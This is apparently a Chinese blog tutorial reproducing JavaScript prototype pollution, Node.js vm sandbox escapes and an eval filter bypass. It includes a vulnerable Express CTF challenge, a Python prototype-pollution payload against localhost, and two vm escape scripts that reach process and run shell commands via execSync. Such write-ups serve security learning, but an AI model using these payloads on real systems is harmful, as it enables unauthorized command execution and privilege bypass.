漏洞复现--原型链污染、沙箱逃逸绕过

目录

一、原型链污染

1.prototype和__proto__区别???

2.原型链污染是什么???

3.哪些情况原型链会被污染???

4.原型链污染例题

二、沙箱逃逸绕过

1.如何实现沙箱逃逸?

 2.如何实现绕过?


一、原型链污染

原型污染是一个安全漏洞,非常特定于 JavaScript。

__proto__检查其成员或调用来找出给定对象的原型是什么对象Object.getPrototypeOf

当我们尝试访问对象的属性时,JS 引擎首先检查对象本身是否包含该属性。如果是,则将其退回。否则,JS 会检查原型是否具有该属性。如果没有,JS 会检查原型的原型,以此类推,直到原型为null. 它被称为原型链。

1.prototype和__proto__区别???

function Foo() {
    this.bar = 1
}
Foo.prototype.show = function show() {
    console.log(this.bar)
}
let foo = new Foo()
foo.show()

漏洞复现--原型链污染、沙箱逃逸绕过_第1张图片

通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

总结一下:

 (1)prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

 (2)一个对象的__proto__属性,指向这个对象所在的类的prototype属性。

2.原型链污染是什么???

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

 漏洞复现--原型链污染、沙箱逃逸绕过_第2张图片 

注意:进行三次打印,前俩次没有污染,打印结果一致,第三次被污染打印结果为修改后的,即原型被改变。

3.哪些情况原型链会被污染???

思考在哪些情况下可以设置__proto__的值。

  • 对象merge 结合 拼接

  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中) 复制

4.原型链污染例题

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

通过分析题目,其中有一个敏感函数merge,merge 函数作用是进行对象的合并,其中涉及到了对象的赋值,且键值可控,这样就可以触发原形链污染了。

进行payload编写,进行污染。

import requests
import json

url1 = "http://127.0.0.1:8080/signup"
url2 = "http://127.0.0.1:8080/getflag"

s = requests.session()

headers = {"Context-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print (res2.text)

二、沙箱逃逸绕过

1.如何实现沙箱逃逸?

沙箱内部找到一个沙箱外部的对象(即沙箱内部可以进行访问沙箱外部),借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

第一种沙箱逃逸,通过this实现

const vm = require('vm');
const script = `
const process =this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: [], n: {},x:/regexp/ };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

漏洞复现--原型链污染、沙箱逃逸绕过_第3张图片 

第二种沙箱逃逸,不存在this

const vm = require('vm'); 
const script = `(() => {  
const a = {}  
a.toString = function () {    
const cc = arguments.callee.caller;    
const p = (cc.constructor.constructor('return process'))();   
 return p.mainModule.require('child_process').execSync('whoami').toString()  
}  
return a })()`; 
const sandbox = Object.create(null); 
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 

 

 2.如何实现绕过?

//最终实现结果,弹出提示框1337
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert|prompt|confirm/g, '_')
eval(mafia)

 分析代码,可见过滤了`, ', ",+,-,!,\,[,]并且过滤了弹窗函数alert,prompt,confirm,这样的一个正则。如何进行绕过呢???

第一种,Function构造函数

 漏洞复现--原型链污染、沙箱逃逸绕过_第4张图片 

第二种,使用eval函数绕过,使用2-36进制

 漏洞复现--原型链污染、沙箱逃逸绕过_第5张图片 

 注:8680439代表啥?如何而来?

 

 第三种,使用location中的hash来进行绕过

 漏洞复现--原型链污染、沙箱逃逸绕过_第6张图片 

 以上为复现原型链污染和沙箱逃逸绕过相关介绍。介绍不够全面,后期进一步完善。

你可能感兴趣的:(javascript,开发语言,前端,安全)